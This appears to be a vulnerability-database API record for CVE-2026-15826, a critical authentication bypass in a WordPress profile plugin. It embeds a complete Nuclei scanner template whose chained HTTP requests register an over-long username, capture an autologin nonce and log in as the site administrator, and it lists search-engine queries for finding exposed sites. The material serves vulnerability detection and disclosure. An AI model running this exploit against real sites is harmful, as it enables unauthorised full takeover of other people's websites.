{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-15826/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-15826/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-15826/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-15826/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-15826/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-15826/enrichment"},"sightings":{"href":"/api/v1/sightings/cve-2026-15826"},"vulnerability":{"href":"/api/v1/vulnerability/cve-2026-15826"}},"enrichments":{"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-15826.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2026-15826\n\ninfo:\n name: User Profile Builder 3.16.4 - Unauthenticated Authentication Bypass\n author: theamanrawat\n severity: critical\n description: |\n The User Profile Builder plugin for WordPress version 3.16.4 is vulnerable to an authentication bypass via type confusion. Profile Builder's automatic-login-after-registration handler passes the return value of wp_insert_user() through absint() before testing it with is_wp_error(), so the error check runs against the already-coerced integer. A registration submitted with a 61-70 character username passes the plugin's own validation but is rejected by WordPress core, because the user_login column is VARCHAR(60), and wp_insert_user() returns a WP_Error object. absint() coerces that object to the integer 1, is_wp_error(1) is false, and the plugin binds a transient-backed autologin nonce to user ID 1. Consuming that nonce calls wp_set_auth_cookie(1) and logs the unauthenticated attacker in as the site's Administrator.\n impact: |\n Unauthenticated attackers can log in as the site Administrator (user ID 1), gaining full administrative control including plugin and theme installation, PHP code execution, and complete site compromise.\n remediation: |\n Update User Profile Builder to 3.16.5 or later, which performs the is_wp_error() check before coercing the wp_insert_user() return value with absint() and additionally enforces the 60-character username limit server-side.\n reference:\n - https://www.wordfence.com/threat-intel/vulnerabilities/id/9f606fba-f779-42ea-a160-6c3b20dc5e79\n - https://plugins.trac.wordpress.org/browser/profile-builder/tags/3.16.4/front-end/class-formbuilder.php#L262\n - https://plugins.trac.wordpress.org/browser/profile-builder/tags/3.16.4/features/functions.php#L1481\n - https://plugins.trac.wordpress.org/changeset/3609855/profile-builder\n - https://github.com/HORKimhab/CVE-2026-15826-CVE-2026-15748\n - https://nvd.nist.gov/vuln/detail/CVE-2026-15826\n classification:\n cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n cvss-score: 9.8\n cve-id: CVE-2026-15826\n epss-score: 0.03904\n epss-percentile: 0.90313\n cwe-id: CWE-704\n metadata:\n verified: true\n max-request: 5\n vendor: cozmoslabs\n product: profile-builder\n framework: wordpress\n shodan-query: http.html:\"/wp-content/plugins/profile-builder/\"\n fofa-query: body=\"/wp-content/plugins/profile-builder/\"\n publicwww-query: \"/wp-content/plugins/profile-builder/\"\n tags: cve,cve2026,wordpress,wp-plugin,wp,profile-builder,auth-bypass,unauth,intrusive,vkev\n\nvariables:\n username: \"{{rand_base(63,'abcdefghijklmnopqrstuvwxyz')}}\"\n email: \"{{rand_base(10,'abcdefghijklmnopqrstuvwxyz')}}@{{rand_base(8,'abcdefghijklmnopqrstuvwxyz')}}.com\"\n password: \"{{rand_base(12,'abcdefghijklmnopqrstuvwxyz0123456789')}}Aa1!\"\n\nflow: http(1) && http(2) && http(3) && http(4) && http(5)\n\nhttp:\n - method: GET\n path:\n - \"{{BaseURL}}/wp-content/plugins/profile-builder/readme.txt\"\n\n matchers:\n - type: dsl\n dsl:\n - 'status_code == 200'\n - 'contains(body, \"Profile Builder\")'\n - 'compare_versions(pb_version, \">= 3.16.4\", \"< 3.16.5\")'\n condition: and\n internal: true\n\n extractors:\n - type: regex\n name: pb_version\n part: body\n group: 1\n regex:\n - '(?i)Stable\\s+tag:\\s*([0-9.]+)'\n internal: true\n\n - method: GET\n path:\n - \"{{BaseURL}}/register/\"\n\n matchers:\n - type: dsl\n dsl:\n - 'status_code == 200'\n - 'contains(body, \"wppb-register-user\")'\n - 'len(wppb_nonce) > 0'\n - 'len(form_name) > 0'\n condition: and\n internal: true\n\n extractors:\n - type: regex\n name: form_name\n part: body\n group: 1\n regex:\n - 'name=\"form_name\"[^>]*value=\"([^\"]*)\"'\n internal: true\n\n - type: regex\n name: wppb_nonce\n part: body\n group: 1\n regex:\n - 'name=\"register_[^\"]*_nonce_field\"[^>]*value=\"([^\"]+)\"'\n internal: true\n\n - raw:\n - |\n POST /register/ HTTP/1.1\n Host: {{Hostname}}\n Content-Type: application/x-www-form-urlencoded\n Referer: {{RootURL}}/register/\n Origin: {{RootURL}}\n\n username={{username}}&email={{email}}&passw1={{password}}&passw2={{password}}&action=register&form_name={{form_name}}®ister_{{form_name}}_nonce_field={{wppb_nonce}}®ister=Register&_wp_http_referer=%2Fregister%2F\n\n matchers:\n - type: dsl\n dsl:\n - 'status_code == 200'\n - 'contains(body, \"autologin=true\")'\n - 'len(autologin_nonce) > 0'\n condition: and\n internal: true\n\n extractors:\n - type: regex\n name: autologin_nonce\n part: body\n group: 1\n regex:\n - 'autologin=true(?:&(?:#0?38|amp);)?_wpnonce=([a-f0-9]+)'\n internal: true\n\n - raw:\n - |\n GET /register/?autologin=true&_wpnonce={{autologin_nonce}} HTTP/1.1\n Host: {{Hostname}}\n\n redirects: false\n\n matchers:\n - type: dsl\n dsl:\n - 'contains(tolower(all_headers), \"set-cookie: wordpress_logged_in_\")'\n internal: true\n\n - raw:\n - |\n GET /wp-admin/options-general.php HTTP/1.1\n Host: {{Hostname}}\n\n redirects: false\n\n matchers:\n - type: dsl\n dsl:\n - 'status_code == 200'\n - 'contains(body, \"name=\\\"blogname\\\"\")'\n - 'contains(body, \"name=\\\"siteurl\\\"\")'\n condition: and\n# digest: 4a0a0047304502210092f1ebde98028368ba786e9ebbd31ecab014646644dbd5abc5e9e5f0c2cc51a802204c1c61ab1d49fb5c09e8b9ae929787d8fd581941f0920d1a59de9605145ec931:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2026-15826"}